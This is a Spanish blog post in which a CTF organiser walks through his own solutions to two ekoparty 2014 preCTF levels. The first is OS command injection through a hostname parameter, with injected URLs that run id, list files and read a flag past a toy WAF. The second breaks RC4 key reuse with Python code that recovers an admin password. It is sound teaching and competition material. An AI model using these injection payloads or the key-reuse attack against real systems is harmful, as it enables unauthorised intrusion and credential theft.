miércoles, 22 de octubre de 2014

preCTF ekoparty 2014

Por tercer año consecutivo,  @nonroot y yo volveremos a Buenos Aires para haernos cargo del CTF de la ekoparty. Esta vez, tuvimos también un preCTF muy activo (1300+ direcciones IP diferentes).

Como en la ekoparty, no se les ha pedido que realicen un reporte de soluciones por escrito, usualmente tampoco libero mis propias soluciones, pero esta vez si se han pedido reportes, y mas aún, los reportes ganadores se publicaron en el blog de la ekoparty. Asi que esta vez, les dejare mis propias soluciones a los dos niveles que diseñe para este preCTF (espero que hayan sido los dos mas difíciles, jejeje).

Nivel 2

El nivel 2 iniciaba de forma extraña.  Al visitar http://prectf.ekoparty.org/level2/ nos encontrabamos este mensaje:

ERROR: hostname is not defined

Es parte de una broma recurrente en la que hacemos niveles que en principio parecen no estar funcionando, pero que tienen el objetivo de desubicar a los jugadores un poco.

Empecemos por definir el parámetro "hostname" y asignarle el valor "localhost":

http://prectf.ekoparty.org/level2/?hostname=localhost

Esto nos genera la siguiente respuesta:

{"4":" 127.0.0.1"}

Podemos repetir la prueba usando mi dominio:

http://prectf.ekoparty.org/level2/?hostname=rmolina.co

Lo que nos genera la siguiente respuesta:

{"5":" 216.239.38.21","7":" 216.239.34.21","9":" 216.239.36.21","11":" 216.239.32.21"}

Y concluimos que el nivel consiste en un servicio web que retorna un JSON con las direcciones IP asociadas al dominio que le pasamos como parámetro.

En este punto debemos imaginar como pudo construirse este servicio para intentar su vulnerabilidad. Por ejemplo, mucho mas probable que este haciendo una consulta en un servidor DNS a que tengamos alguna base de datos local en la que consulto nombres y recibo direcciones.

Aun así, supongamos que queremos probar que pasa al agregar una comilla simple (pensando en una inyección SQL):

http://prectf.ekoparty.org/level2/?hostname=%27

Esto nos permite conocer otro componente de este reto, pues la salida que obtenemos es la siguiente:

Super Cow to the Rescue!
Donde "Super Cow" es un novedoso WAF que pronto dominará el mercado! O bueno, no. Mas bien es un primitivo WAF que bloquea algunas cosas y deja pasar muchas otras.

Volviendo al tema, seguramente ya han pensado que el servicio ejecuta algún comando como "host" o "nslookup" en consola y que luego procesa las salidas para generar ese JSON que vemos.  Y seguramente han pensado que puede ser vulnerable a inyección de comandos. Desde luego, tienen razón.

Una forma de confirmar que el parámetro es inyectable es usar ";" como separador de comandos e inyectar un "sleep":

http://prectf.ekoparty.org/level2/?hostname=localhost;sleep%2030

Al hacerlo la pagina tarda 30 segundos en retornar la salida :)

Sin embargo, si intentamos inyectar un comando como "id":

http://prectf.ekoparty.org/level2/?hostname=localhost;id

La respuesta no es la que deseamos:

{"4":" 127.0.0.1"}

Como ya dijimos, el servicio procesa las salidas en consola para construir la salida JSON.  En alguna parte del procesamiento, podemos estamos perdiendo la salida del comando inyectado.

Intentemos ahora identificar el comando usado por el servicio.

Si probamos inyectando un "host":

http://prectf.ekoparty.org/level2/?hostname=localhost;host%20rmolina.co

La respuesta sigue siendo:

{"4":" 127.0.0.1"}

Pero al inyectar un "nslookup":

http://prectf.ekoparty.org/level2/?hostname=localhost;nslookup%20rmolina.co

La respuesta cambia.

{"4":" 127.0.0.1","11":" 216.239.38.21","13":" 216.239.36.21","15":" 216.239.34.21","17":" 216.239.32.21"}

Hemos conseguido un JSON que combina las direcciones de los dos dominios (localhost y rmolina.co). Asi pues, el servicio ejecuta un "nslookup" y luego filtra las salidas para mostrar solo las direcciones IP.

Si observamos la salida en consola del comando "nslookup" podemos descubrir como se construye el filtro:

$ nslookup rmolina.co
Server:         127.0.0.1
Address:        127.0.0.1#53

Non-authoritative answer:
Name:   rmolina.co
Address: 216.239.38.21
Name:   rmolina.co
Address: 216.239.34.21
Name:   rmolina.co
Address: 216.239.32.21
Name:   rmolina.co
Address: 216.239.36.21

El filtro consiste en mostrar solo las lineas que comienzan por "Address:", salvo la primera, que es la dirección del servidor de nombres.

Entonces, si inyectamos algo como:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20Address:HELLOWORLD

Conseguimos una salida mas alentadora:

{"4":" 127.0.0.1","6":"HELLOWORLD"}

Inyectar algo como:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20Address:;id

Genera un nuevo campo en el JSON pero no me entrega la salida

{"4":" 127.0.0.1","6":""}

Aun no es suficiente, pues la salida del comando inyectado queda en una linea diferente a nuestro "Address:" ya que "echo" agrega por defecto un retorno de carro al final de la linea.

El parámetro "-n" soluciona el problema:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;id 

Y esto nos retorna, por fin, la salida esperada:

{"4":" 127.0.0.1","6":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}

También podría usarse "printf" en lugar de "echo -n".

Si en este punto inyectamos un "ls -a" para listar archivos, incluyendo archivos ocultos:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;ls%20-a

La salida será:

{"4":" 127.0.0.1","6":"."}

Porque el "Address:" que inyectamos solo se agrega a la primera linea del "ls".

El parámetro "-m" soluciona el problema, al listar los archivos separados por comas:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;ls%20-ma

De esta forma encontramos un archivo oculto que contiene la flag:

{"4":" 127.0.0.1","6":"., .., .Zhka8jha9FLAG, .htaccess, index.php, supercow_waf.php, waf.png"}

Nuevamente, puede usarse "dir -a" en lugar de "ls -ma".

Finalmente, si intentamos leer el archivo usando "cat":

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;cat%20.Zhka8jha9FLAG

Nos encontramos de nuevo con Super Cow, que como una broma final filtra el comando "cat" (asi como "head", "tail" y algunos otros).

Pero hay muchas mas formas de leerlo.  Por ejemplo "tac" o "grep . ":

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;tac%20.Zhka8jha9FLAG

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;strings%20.Zhka8jha9FLAG

que entregan la salida de inmediato:

{"4":" 127.0.0.1","6":"YES, I CAN BYPASS THE SUPER COW!"}

Y algunos otros modifican un poco la salida con "ln" o "base64".

El comando "ln" me da la salida con números de linea:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;nl%20.Zhka8jha9FLAG

{"4":" 127.0.0.1","6":" 1\tYES, I CAN BYPASS THE SUPER COW!"}

A mi personalmente, me gusta usar el comando "base64", que me da la respuesta codificada:

http://prectf.ekoparty.org/level2/?hostname=localhost;echo%20-n%20Address:;base64%20.Zhka8jha9FLAG

{"4":" 127.0.0.1","6":"WUVTLCBJIENBTiBCWVBBU1MgVEhFIFNVUEVSIENPVyEK"}

Los logs de servidor web confirman que algunos jugadores usaron otras soluciones...

Finalmente, para mayor diversión, cada cierto tiempo agregabamos nuevos filtros al WAF, emulando una suerte de servicio de actualización para el WAF.  Asi que cosas que funcionaron un dia,  al dia siguiente podían no funcionar.   La primera actualización del WAF se la debemos al reporte que envio Mykola Ilin de Defcon Ukraine, quien nos reportó (desde el primer día) que el nivel 2 podía explotarse para robarse las banderas de los demás niveles :)

Nivel 5

El nivel 5 iniciaba de una forma un poco mas directa.  Al visitar http://prectf.ekoparty.org/level5/ nos encontramos con un formulario ya muy familiar con un par de campos para ingresar "username" y "password", acompañado de la siguiente imagen:

Además de bonita, la imagen representa el núcleo del cifrado RC4
Desde luego se trata de un nivel "crypto" disfrazado de nivel "web".

Si probamos el usuario "hola" y la contraseña "mundo":

http://prectf.ekoparty.org/level5/index.php?submitted=1&user=hola&pass=mundo&Submit=Submit

Obtenemos el mensaje:

hola not found in pass.db

y desde luego intentamos descargar el arhivo "pass.db"

http://prectf.ekoparty.org/level5/pass.db

Donde nos encontramos esto:

user11 ZPKa+xmS2D+ahMd0 user4 dfPVqTj95nbOkMMnCtEqwStG0Un3 user3 MfrVqX24q3rOnYJiWchmiGdJ0Q== admin WLyUtn2f6muDl8w= guest ILzH+279vz/b1pQnTp5+ 


Si se preguntan porque esta todo en una sola linea, en lugar de un usuario por linea, es porque al principio pensaba hacer que se robaran este archivo usando el bug del nivel 2, y las cosas en una sola linea eran mas fáciles de descargar, pero luego cambie de opinión y ya me dio pereza cambiar el código.

Volviendo al tema. es una lista de usuarios, con unas contraseñas codificadas en base64 que previamente fueron cifradas con RC4, tal y como sugiere la imagen inicial.

Donde esta el bug? Si no se tiene ninguna experiencia en criptografía puede ser algo difícil de identificar, pero el problema consiste en el primer gran error de los llamados "streamciphers": se reutilizo la misma clave para cifrar varios mensajes.

Pensemos en una forma de cifrado muy simple: definimos una clave tan larga como mensaje a cifrar y hacemos un XOR del primer carácter del mensaje con el primero de la clave, el segundo con el segundo, y así sucesivamente.  Si la clave no se reusa nunca, nuestro secreto está seguro (para profundizar,  consulten el término: "one-time pad", asi como la demostración del "perfect secrecy").

Un streamcipher es parecido, pero en lugar de seleccionar nosotros una clave tan larga como el mensaje a cifrar, seleccionamos una clave más simple, como "holamundo" y algún algoritmo convierte esa clave en una clave tan larga como el mensaje.  RC4 es un ejemplo de este tipo de algoritmos.

Por otro lado, si reusamos la misma clave k para cifrar dos mensajes diferentes m1 y m2, nos encontramos con que c1 = k XOR m1, y c2 = k XOR m2.  Pero, al mismo tiempo, c1 XOR c2 = m1 XOR m2.  Es decir, a partir de los mensajes cifrados podemos obtener información de los mensajes originales.  Para profundizar, consulten "multi-time pad" o "key-reuse attack".

Conocer el producto del XOR entre los dos mensajes originales no equivale a conocer los mensajes originales.  Pero, si se asumen algunas cosas, podemos mejorar la situación.

Por ejemplo, asumamos que todos los mensajes (en este caso contraseñas) son letras minúsculas. Entonces, puedo calcular el XOR entre cada par de letras minúsculas y seleccionar aquellos pares en los que el resultado es precisamente el valor cifrado que tengo.  Eso me permite descartar muchas posibles soluciones.  Si en algún punto no puedo avanzar, tal vez es porque la clave incluye mayúsculas o números y debo cambiar mis suposiciones.

Cuando la clave no se reusa una vez, sino muchas veces, la cosa se hace aun mas simple: comparando con cada par de textos cifrados obtengo algunos candidatos y luego comparando candidatos de mensaje a mensaje puede llegar a ser posible  separar los que corresponden a la clave de los que corresponden al mensaje original.

Como esto quedo claro los solucionarios que recibimos, los remito a leerlos para profundizar un poco mas en el asunto.  En especial, la solución enviada por Mykola Ilin implementa desde cero el código para revisar, caracter por caracter, los posibles candidatos y la solución de Emiliano del Castillo utiliza algunas herramientas de cribado para este mismo propósito.

La solución de Felipe Andres Manzano, por otro lado, aprovecha un hecho adicional.  Verifiquen ustedes que pasa al hacer XOR entre alguna letra (mayúscula o minúscula) y el caracter " " (espacio en blanco)...  El resultado puede usarse para mejorar nuestros supuestos al identificar en que partes de los mensajes originales pudo haber un espacio.  Felipe en una de sus pruebas supuso que para cada caracter, en alguno de los mensajes cifrados había un espacio, y efectivamente lo había  (lo diseñe de esa forma para que resultara mas fácil recuperar las claves).  La aproximación de Felipe es interesante ademas por la forma en que se implementó, pero puede ser mas dificil de seguir para los que empiezan.

Con este nivel, los espacios resultaron ser un problema (en lugar de una ayuda) para algunos jugadores.  Al parecer, mucha gente no se espera que un password tenga espacios en blanco!

Finalmente, publicaré mi propia solución a este nivel,  que también aprovecha  la idea de los espacios en blanco (aunque extrapola un poco mas de lo que es estrictamente correcto) y que intenta romper directamente el password del administrador utilizando una técnica adicional para identificar los mensajes mas probables.  Para profundizar, consulten sobre "entropy rating",  por ejemplo en la referencia que incluyo en el código (de la que tome algunas funciones importantes).

from __future__ import division
from collections import defaultdict, deque, Counter
from itertools import product
from math import log
from string import printable as charset

print "Using the charset: '%s'" % charset

def key_reuse_attack(target, ciphertexts):
    ciphertexts = [ciphertext.decode("base64") for ciphertext in ciphertexts]
    target = target.decode("base64")

    len_target = len(target)
    print "We are not going to try", len(charset) ** len_target, "possible messages via bruteforce!"
    ord_space = ord(" ")
    
    set_list = list()
    for i in range(len_target):
        candidates = ""
        ord_target_i = ord(target[i])
        for ciphertext in ciphertexts:
            ciphertext_xor_target = ord_target_i ^ ord(ciphertext[i])
            candidate = chr(ciphertext_xor_target ^ ord_space)
            if candidate in charset:
               candidates += candidate
        set_list.append(set(candidates))
    return set_list


# http://pit-claudel.fr/clement/blog/an-experimental-estimation-of-the-entropy-of-english-in-50-lines-of-python-code/
def markov_model(stream, model_order):
    model, stats = defaultdict(Counter), Counter()
    circular_buffer = deque(maxlen = model_order)
    for token in stream:
        prefix = tuple(circular_buffer)
        circular_buffer.append(token)
        if len(prefix) == model_order:
            stats[prefix] += 1
            model[prefix][token] += 1
 return model, stats

# http://pit-claudel.fr/clement/blog/an-experimental-estimation-of-the-entropy-of-english-in-50-lines-of-python-code/
def entropy(stats, normalization_factor):
    return -sum(proba / normalization_factor * log(proba / normalization_factor, 2) for proba in stats.values())

# http://pit-claudel.fr/clement/blog/an-experimental-estimation-of-the-entropy-of-english-in-50-lines-of-python-code/
def entropy_rate(model, stats):
    return sum(stats[prefix] * entropy(model[prefix], stats[prefix]) for prefix in stats) / sum(stats.values())

def main(target, ciphertexts):
    set_list = key_reuse_attack(target, ciphertexts)
    set_prod = product(*set_list)

    cnt = 0
    max_rate = 0
    max_list = list()
    for stream in set_prod:
        cnt += 1
        text = " ".join(stream)
        model, stats = markov_model(text, 2)
        rate = entropy_rate(model, stats)
        if rate > max_rate:
            #print "Best rate until now:", rate
            max_rate = rate
            max_list = list()
        if rate == max_rate:
            max_list.append(stream)
    
    print "Preserving", cnt, "possible messages after key reuse attack."
    print "Preserving", len(max_list), "possible messages after entropy rating."
    
    for i,stream in enumerate(max_list):
        print "%2i: %s" % (i+1, repr(''.join(stream)))
   
admin = 'WLyUtn2f6muDl8w='
users = [
    'ZPKa+xmS2D+ahMd0',
    'dfPVqTj95nbOkMMnCtEqwStG0Un3',
    'MfrVqX24q3rOnYJiWchmiGdJ0Q==',
    'ILzH+279vz/b1pQnTp5+'
    ]
      
main(admin, users)
(Gracias a http://tohtml.com/python/ por el resaltado de sintaxis.)

Este código, solo asume que los mensajes originales son imprimibles. Y logra reducir el numero de posibles mensajes de 10000000000000000000000 a tan solo 72!   Aqui esta su salida:

Using the charset: '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~      

'
We are not going to try 10000000000000000000000 possible messages via bruteforce!
Preserving 248832 possible messages after key reuse attack.
Preserving 72 possible messages after entropy rating.
 1: 'I am Ba1max'
 2: 'I am Ba1ma+'
 3: 'I am Ba1ma/'
 4: 'I am Ba1man'
 5: 'I am Ba=max'
 6: 'I am Ba=ma+'
 7: 'I am Ba=ma/'
 8: 'I am Ba=man'
 9: 'I am Batmax'
10: 'I am Batma+'
11: 'I am Batma/'
12: 'I am Batman'
13: 'I am -a1max'
14: 'I am -a1ma+'
15: 'I am -a1ma/'
16: 'I am -a1man'
17: 'I am -a=max'
18: 'I am -a=ma+'
19: 'I am -a=ma/'
20: 'I am -a=man'
21: 'I am -atmax'
22: 'I am -atma+'
23: 'I am -atma/'
24: 'I am -atman'
25: 'X am Ba1max'
26: 'X am Ba1ma+'
27: 'X am Ba1ma/'
28: 'X am Ba1man'
29: 'X am Ba=max'
30: 'X am Ba=ma+'
31: 'X am Ba=ma/'
32: 'X am Ba=man'
33: 'X am Batmax'
34: 'X am Batma+'
35: 'X am Batma/'
36: 'X am Batman'
37: 'X am -a1max'
38: 'X am -a1ma+'
39: 'X am -a1ma/'
40: 'X am -a1man'
41: 'X am -a=max'
42: 'X am -a=ma+'
43: 'X am -a=ma/'
44: 'X am -a=man'
45: 'X am -atmax'
46: 'X am -atma+'
47: 'X am -atma/'
48: 'X am -atman'
49: '\r am Ba1max'
50: '\r am Ba1ma+'
51: '\r am Ba1ma/'
52: '\r am Ba1man'
53: '\r am Ba=max'
54: '\r am Ba=ma+'
55: '\r am Ba=ma/'
56: '\r am Ba=man'
57: '\r am Batmax'
58: '\r am Batma+'
59: '\r am Batma/'
60: '\r am Batman'
61: '\r am -a1max'
62: '\r am -a1ma+'
63: '\r am -a1ma/'
64: '\r am -a1man'
65: '\r am -a=max'
66: '\r am -a=ma+'
67: '\r am -a=ma/'
68: '\r am -a=man'
69: '\r am -atmax'
70: '\r am -atma+'
71: '\r am -atma/'
72: '\r am -atman'

La respuesta correcta es la número 12.

Para ilustrar lo importante que es hacer las suposiciones correctas, verifiquemos los que pasaría si desde el principio asumíamos que los mensajes estaban formados solo por letras (mayúsculas o minúsculas), dígitos, signos de puntuación y espacios en blanco, solo necesitamos cambiar el ultimo import.  Así, la linea: 

from string import printable as charset

Cambia por

from string import ascii_letters, digits, punctuation
charset = ascii_letters + digits + punctuation + ' '
Y la salida, cambia a solo 48 mensajes:

Using the charset: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ '
We are not going to try 5688000922764599609375 possible messages via bruteforce!
Preserving 165888 possible messages after key reuse attack.
Preserving 48 possible messages after entropy rating.
 1: 'I am Ba1max'
 2: 'I am Ba1ma+'
 3: 'I am Ba1ma/'
 4: 'I am Ba1man'
 5: 'I am Ba=max'
 6: 'I am Ba=ma+'
 7: 'I am Ba=ma/'
 8: 'I am Ba=man'
 9: 'I am Batmax'
10: 'I am Batma+'
11: 'I am Batma/'
12: 'I am Batman'
13: 'I am -a1max'
14: 'I am -a1ma+'
15: 'I am -a1ma/'
16: 'I am -a1man'
17: 'I am -a=max'
18: 'I am -a=ma+'
19: 'I am -a=ma/'
20: 'I am -a=man'
21: 'I am -atmax'
22: 'I am -atma+'
23: 'I am -atma/'
24: 'I am -atman'
25: 'X am Ba1max'
26: 'X am Ba1ma+'
27: 'X am Ba1ma/'
28: 'X am Ba1man'
29: 'X am Ba=max'
30: 'X am Ba=ma+'
31: 'X am Ba=ma/'
32: 'X am Ba=man'
33: 'X am Batmax'
34: 'X am Batma+'
35: 'X am Batma/'
36: 'X am Batman'
37: 'X am -a1max'
38: 'X am -a1ma+'
39: 'X am -a1ma/'
40: 'X am -a1man'
41: 'X am -a=max'
42: 'X am -a=ma+'
43: 'X am -a=ma/'
44: 'X am -a=man'
45: 'X am -atmax'
46: 'X am -atma+'
47: 'X am -atma/'
48: 'X am -atman'

Aun mas, si asumíamos que los mensajes solo tenían letras, dígitos, y espacios en blanco, basta con que cambiamos el import por:

from string import ascii_letters, digits
charset = ascii_letters + digits + ' '
Y la salida cambia a tan solo 8 mensajes:

Using the charset: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '
We are not going to try 62050608388552823487 possible messages via bruteforce!
Preserving 3072 possible messages after key reuse attack.
Preserving 8 possible messages after entropy rating.
 1: 'I am Ba1max'
 2: 'I am Ba1man'
 3: 'I am Batmax'
 4: 'I am Batman'
 5: 'X am Ba1max'
 6: 'X am Ba1man'
 7: 'X am Batmax'
 8: 'X am Batman'

De la misma forma, si asumíamos que los mensajes solo tenían letras y espacios en blanco (que es la situación correcta), basta con que cambiamos el import por:

from string import ascii_letters, digits
charset = ascii_letters + ' '

Y la salida se reduce a tan solo 4 mensajes

Using the charset: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
We are not going to try 9269035929372191597 possible messages via bruteforce!
Preserving 384 possible messages after key reuse attack.
Preserving 4 possible messages after entropy rating.
 1: 'I am Batmax'
 2: 'I am Batman'
 3: 'X am Batmax'
 4: 'X am Batman'

En un escenario real, lo normal es iniciar con un charset limitados y extenderl según sea necesario. Este reto se diseño de forma que aun con un charset muy amplio, el numero de mensajes probables es muy pequeño.   Aun mas, con la suposición correcta, es trivial resolverlo sin necesidad de hacer el análisis de entropía.  Para demostrarlo, mantengamos la suposición (acertada) de que el conjunto de caracteres es solo letras y espacios, esdecir:



from string import ascii_letters, digits
charset = ascii_letters + digits + ' '
Ahora, modifiquemos nuestra funcion main() para que no se realice el analisis de entropía y solo se impriman los candidatos que obtuvimos para cada posición:

def main(target, ciphertexts):
    set_list = key_reuse_attack(target, ciphertexts)
    for char in set_list:
        print char
La salida, al realizar esta modificación, es la siguiente:

Using the charset: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
We are not going to try 9269035929372191597 possible messages via bruteforce!
set(['I', 'X'])
set([' ', 'f', 'o', 'n'])
set(['a', 's'])
set(['m'])
set([' ', 'e', 'D'])
set(['B'])
set(['a', 'u'])
set(['t'])
set(['x', 'm'])
set(['a'])
set(['x', 'n'])

Donde vemos que, en cuatro posiciones (resaltadas en verde) ya tenemos identificado el caracter, y de las restantes, casi siempre el primer candidato es correcto.

Volviendo al tema central, para completar el nivel, bastaba con iniciar sesión como usuario "admin" con contraseña "I am Batman":


Con lo que recibiamos el mensaje:

awesome! here is your flag: OH MY GOD You are the Guy!

Como adición final, hay otras técnicas para resolver el problema.  Véase por ejemplo:

http://adamsblog.aperturelabs.com/2013/05/back-to-skule-one-pad-two-pad-me-pad.html

Donde resuelven un problema similar con una aproximación un poco distinta.

Gracias a todos los que jugaron. Eso es todo por hoy!